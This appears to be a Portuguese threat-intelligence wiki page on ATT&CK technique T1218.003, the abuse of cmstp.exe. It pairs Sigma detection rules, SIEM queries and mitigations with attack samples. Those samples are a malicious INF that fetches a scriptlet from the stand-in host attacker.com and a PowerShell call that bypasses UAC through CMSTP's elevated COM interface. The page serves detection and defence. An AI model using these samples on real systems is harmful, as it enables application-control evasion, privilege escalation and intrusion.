# T1218.003 - CMSTP
> [!warning] Técnica de Evasão Ativa
> O abuso de `cmstp.exe` é observado regularmente em campanhas APT e ransomware. Permite contornar AppLocker, SRP e UAC usando um binário legítimo assinado pela Microsoft. Prioridade de detecção: **ALTA**.
## Técnica Pai
Esta é uma sub-técnica de [[t1218-system-binary-proxy-execution|T1218 - T1218 - System Binary Proxy Execution]].
## Descrição
**CMSTP** (Connection Manager Profile Installer) é um utilitário legítimo do Windows (`cmstp.exe`) utilizado para instalar perfis de serviço do Connection Manager - um componente de acesso remoto discado presente desde o Windows 2000. O binário está localizado em `C:\Windows\System32\cmstp.exe` e é assinado digitalmente pela Microsoft.
Adversários abusam do `cmstp.exe` para executar código malicioso de forma indireta, contornando controles de segurança como [[m1038-execution-prevention|AppLocker]], Software Restriction Policies (SRP) e, em alguns casos, o [[t1548-002-bypass-user-account-control|User Account Control (UAC)]]. A técnica se enquadra na categoria de **LOLBin** (Living-off-the-Land Binary) - binários legítimos do sistema operacional reaproveitados para fins maliciosos.
A técnica é classificada como sub-técnica de [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]], que cobre o abuso de binários legítimos assinados para executar código arbitrário, driblando a lógica de confiança baseada em assinatura digital.
## Como Funciona
O `cmstp.exe` aceita como argumento um arquivo INF (Setup Information File) que descreve um perfil de conexão. Adversários criam arquivos INF maliciosos que, ao serem processados pelo `cmstp.exe`, disparam a execução de código arbitrário.
Existem dois vetores primários de abuso:
**Vetor 1 - Execução remota de DLL/SCT via INF malicioso:**
O arquivo INF pode referênciar uma seção `RegisterOCXSection` que aponta para uma DLL ou COM scriptlet (`.sct`) em um servidor remoto. O `cmstp.exe` faz o download e executa o arquivo sem avisos de segurança. Essa abordagem é análoga ao abuso de [[t1218-010-regsvr32|Regsvr32]] ("Squiblydoo").
```ini
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXSection=RegisterOCXSection
[RegisterOCXSection]
http://attacker.com/payload.sct
```
**Vetor 2 - Bypass de UAC via COM interface elevada:**
O `cmstp.exe` possui uma interface COM auto-elevada (`{BA126AD1-2166-11D1-B1D0-00805FC1270E}`) que pode ser acionada por processos não privilegiados. Adversários exploram essa interface para executar comandos com privilégios elevados sem disparar o prompt do UAC.
```powershell
# Chamada à interface COM elevada do CMSTP - executa com privilégios de admin
$obj = [Activator]::CreateInstance([Type]::GetTypeFromCLSID("BA126AD1-2166-11D1-B1D0-00805FC1270E"))
$obj.ShellExecute("cmd.exe", "/c whoami > C:\output.txt", "", "open", 0)
```
**Por que funciona:**
- `cmstp.exe` é assinado pela Microsoft → bypassa regras de AppLocker baseadas em assinatura
- A interface COM tem `AutoElevaté=true` no manifesto → bypassa UAC sem prompt
- Não gera escrita em disco de payload primário quando usa SCT remoto → evita EDR baseado em assinatura de arquivo
## Attack Flow
```mermaid
graph TB
A["Adversário obtém<br/>acesso inicial"] --> B["Prepara INF malicioso<br/>ou script COM"]
B --> C{Vetor de abuso}
C -->|"INF + SCT/DLL remoto"| D["cmstp.exe /ni /s malicious.inf"]
C -->|"Interface COM elevada"| E["Ativa CLSID BA126AD1<br/>via PowerShell/VBScript"]
D --> F["cmstp.exe busca SCT<br/>do servidor C2"]
E --> G["Interface COM executa<br/>cmd com privilégios elevados"]
F --> H["Payload SCT executado<br/>pelo motor COM do Windows"]
G --> H
H --> I{Objetivo alcançado}
I -->|"Evasão AppLocker/SRP"| J["Execução de shellcode<br/>ou DLL arbitrária"]
I -->|"Bypass UAC"| K["Escalonamento<br/>de privilégios"]
J --> L["Estabelece persistência<br/>ou move lateralmente"]
K --> L
L --> M["Implanta RAT, beacon<br/>ou ransomware payload"]
style A fill:#8B0000,color:#fff
style D fill:#FF6600,color:#fff
style E fill:#FF6600,color:#fff
style H fill:#CC0000,color:#fff
style J fill:#8B0000,color:#fff
style K fill:#8B0000,color:#fff
style M fill:#4B0082,color:#fff
```
## Exemplos de Uso
### MuddyWater (IRAN - APT34/MERCURY)
O grupo iraniano [[g0069-mango-sandstorm|MuddyWater]], associado ao MOIS (Ministério de Inteligência iraniano), utilizou CMSTP extensivamente em campanhas de espionagem contra governos do Oriente Médio, Turquia e Paquistão. O grupo distribui documentos Office com macros que geram arquivos INF maliciosos em disco e invocam o `cmstp.exe` para executar o malware [[s1149-chimneysweep|CHIMNEYSWEEP]] e outros backdoors customizados.
**Cadeia típica do MuddyWater:**
1. E-mail de spear-phishing com documento Word anexado
2. Macro VBA escreve `install.inf` em `%TEMP%`
3. Macro executa `cmstp.exe /ni /s %TEMP%\install.inf`
4. INF carrega DLL maliciosa que estabelece conexão C2
### Cobalt Group (Crime Financeiro)
O [[g0080-cobalt-group|Cobalt Group]] - grupo de cibercrime focado em bancos e ATMs - usou CMSTP como etapa de bypass de UAC para elevar privilégios antes de instalar ferramentas de movimento lateral como [[s0154-cobalt-strike|Cobalt Strike]]. O grupo opera frequentemente contra instituições financeiras na Europa Oriental e Ásia Central, com histórico de ataques a sistemas SWIFT.
### LockBit 3.0 (Ransomware)
Afiliados do [[s1202-lockbit-30|LockBit 3.0]] foram documentados usando CMSTP para bypass de UAC como parte do processo de preparação para cifragem. O bypass garante que o ransomware execute com privilégios administrativos para acessar volumes de rede e shadow copies.
### Campanha genérica via LOLBin chaining
```
mshta.exe → executa VBScript → gera INF → cmstp.exe → carrega DLL C2
```
Essa cadeia combina [[t1218-005-mshta|T1218.005 - Mshta]] com T1218.003, encadeando dois LOLBins para maximizar a evasão.
## Detecção
### Regras Sigma
**Regra 1 - Linha de comando suspeita do CMSTP**
```yaml
title: CMSTP Execution with Suspicious Arguments
id: e7a3c9d2-5f18-4b0a-9c2e-3d6f8e1a4b7c
status: production
description: >
Detecta execução do cmstp.exe com argumentos suspeitos indicando
abuso para proxy execution ou bypass de UAC.
references:
- https://attack.mitre.org/techniques/T1218/003/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
author: RunkIntel Detection Engineering
daté: 2026/03/25
tags:
- attack.defense_evasion
- attack.t1218.003
- attack.privilege_escalation
- attack.t1548.002
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\cmstp.exe'
selection_cli:
CommandLine|contains:
- '/ni'
- '/s'
- '.inf'
filter_legit:
CommandLine|contains:
- 'C:\Program Files'
- 'C:\Windows\System32\com'
condition: selection_img and selection_cli and not filter_legit
falsepositives:
- Instalação legítima de perfis de VPN corporativa via CMSTP
- Scripts de provisionamento de TI usando Connection Manager
level: high
fields:
- Image
- CommandLine
- ParentImage
- User
```
**Regra 2 - Processo filho suspeito gerado por CMSTP**
```yaml
title: Suspicious Child Process Spawned by CMSTP
id: f2b4d8e1-7a3c-4f19-b2d5-8e6a1c3f9b0d
status: production
description: >
Detecta processos suspeitos gerados como filhos diretos do cmstp.exe,
indicando execução de payload após abuso da técnica T1218.003.
author: RunkIntel Detection Engineering
daté: 2026/03/25
tags:
- attack.defense_evasion
- attack.t1218.003
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\cmstp.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\rundll32.exe'
- '\regsvr32.exe'
condition: selection
falsepositives:
- Práticamente nenhum - CMSTP legítimo não gera processos de scripting
level: critical
fields:
- ParentImage
- Image
- CommandLine
- User
- IntegrityLevel
```
### Fontes de log recomendadas
| Fonte | EventID | Campo relevante |
|-------|---------|-----------------|
| Sysmon | 1 (Process Creaté) | `Image`, `CommandLine`, `ParentImage` |
| Windows Security | 4688 | `NewProcessName`, `CommandLine` |
| Sysmon | 7 (Image Load) | DLLs carregadas por cmstp.exe |
| Sysmon | 3 (Network Conn.) | Conexões de rede originadas por cmstp.exe |
| Windows Security | 4673 | Tentativas de uso de privilégios com interface COM elevada |
### Caçar no SIEM
```sql
-- Splunk: CMSTP com conexão de rede (indica SCT/DLL remoto)
index=windows EventCode=3 Image="*\\cmstp.exe"
| table _time, ComputerName, DestinationIp, DestinationPort, User
-- KQL (Microsoft Sentinel): processos filhos de CMSTP
DeviceProcessEvents
| where InitiatingProcessFileName =~ "cmstp.exe"
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```
## Mitigação
| ID | Mitigação | Descrição | Impacto Operacional |
|----|-----------|-----------|---------------------|
| [[m1042-disable-or-remove-feature-or-program\|M1042]] | Disable or Remove Feature or Program | Desabilitar ou remover `cmstp.exe` de endpoints que não precisam de Connection Manager (a maioria dos workstations corporativos). Pode ser feito via GPO removendo o binário ou via AppLocker bloqueando o path. | Baixo - poucos ambientes modernos usam Connection Manager legitimamente |
| [[m1038-execution-prevention\|M1038]] | Execution Prevention | Criar regra de AppLocker/WDAC que bloqueie `cmstp.exe` explicitamente, ou que só permita execução com argumentos conhecidos e seguros. AppLocker por si só não é suficiente (CMSTP o bypassa), mas WDAC (Windows Defender Application Control) em modo enforced bloqueia efetivamente. | Médio - requer teste em ambiente antes do deploy |
| Monitoramento de processos filhos | Detecção compensatória | Implementar alerta para qualquer processo filho de `cmstp.exe` - na prática legítima, CMSTP não gera processos filhos de scripting. | Nenhum |
| Bloqueio de saída de rede para cmstp.exe | Firewall de endpoint | Criar regra no host-based firewall (Windows Defender Firewall) impedindo conexões de saída do `cmstp.exe`. Isso bloqueia o vetor de SCT/DLL remoto. | Baixo |
## Contexto Brasil/LATAM
> [!info] Relevância Regional
> Técnicas de LOLBin como CMSTP são frequentemente documentadas em ataques a **bancos brasileiros e instituições financeiras da LATAM**, onde adversários precisam escalar privilégios antes de implantar [[s0154-cobalt-strike|Cobalt Strike]] ou bankers.
### Grupos relevantes para LATAM
O [[g0080-cobalt-group|Cobalt Group]] operou extensivamente contra bancos na América Latina, particularmente Brasil, México e Argentina. A técnica de CMSTP para bypass de UAC aparece como passo intermediário antes da instalação de ferramentas de movement lateral em redes bancárias.
Grupos de ransomware como operadores do [[s1202-lockbit-30|LockBit 3.0]] e afiliados do **ALPHV/BlackCat** documentados em incidentes brasileiros também utilizam CMSTP como parte do playbook de elevação de privilégios.
### Contexto regulatório (BACEN/LGPD)
Instituições financeiras reguladas pelo **Banco Central do Brasil** e sujeitas à **LGPD** têm obrigação de detectar e responder a técnicas de escalonamento de privilégios. A exploração de CMSTP para bypass de UAC, seguida de acesso a dados financeiros ou PII, pode configurar notificação obrigatória à **ANPD** dentro de 72 horas.
### Recomendação para SOCs brasileiros
1. Habilitar coleta de Sysmon com configuração que inclua `ProcessCreaté` e `NetworkConnect`
2. Criar regra de alerta de severidade **CRÍTICA** para processos filhos de `cmstp.exe`
3. Adicionar `cmstp.exe` à lista de monitoramento prioritário no EDR (CrowdStrike, Defender for Endpoint, SentinelOne)
4. Verificar se o binário existe nos endpoints - se não for usado, remover via GPO
## Referências
- [MITRE ATT&CK - T1218.003](https://attack.mitre.org/techniques/T1218/003/)
- [CMSTP.exe - LOLBAS Project](https://lolbas-project.github.io/lolbas/Binaries/Cmstp/)
- [MuddyWater uses CMSTP - Trend Micro](https://www.trendmicro.com/en_us/research/18/e/cmstp-bypassing-uac-applocker.html)
- [UAC Bypass via COM Interface - offsec research](https://msitpros.com/?p=3960)
- [Cobalt Group TTPs - Group-IB](https://www.group-ib.com/resources/threat-research/cobalt/)
**Técnicas relacionadas:** [[t1218-system-binary-proxy-execution|T1218]], [[t1218-010-regsvr32|T1218.010 - Regsvr32]], [[t1218-005-mshta|T1218.005 - Mshta]], [[t1548-002-bypass-user-account-control|T1548.002 - Bypass UAC]], [[t1059-001-powershell|T1059.001 - PowerShell]]
**Malware associado:** [[s1149-chimneysweep|CHIMNEYSWEEP]], [[s1202-lockbit-30|LockBit 3.0]], [[s0154-cobalt-strike|Cobalt Strike]]
**Grupos:** [[g0069-mango-sandstorm|MuddyWater]], [[g0080-cobalt-group|Cobalt Group]]
---
*Fonte: [MITRE ATT&CK - T1218.003](https://attack.mitre.org/techniques/T1218/003)*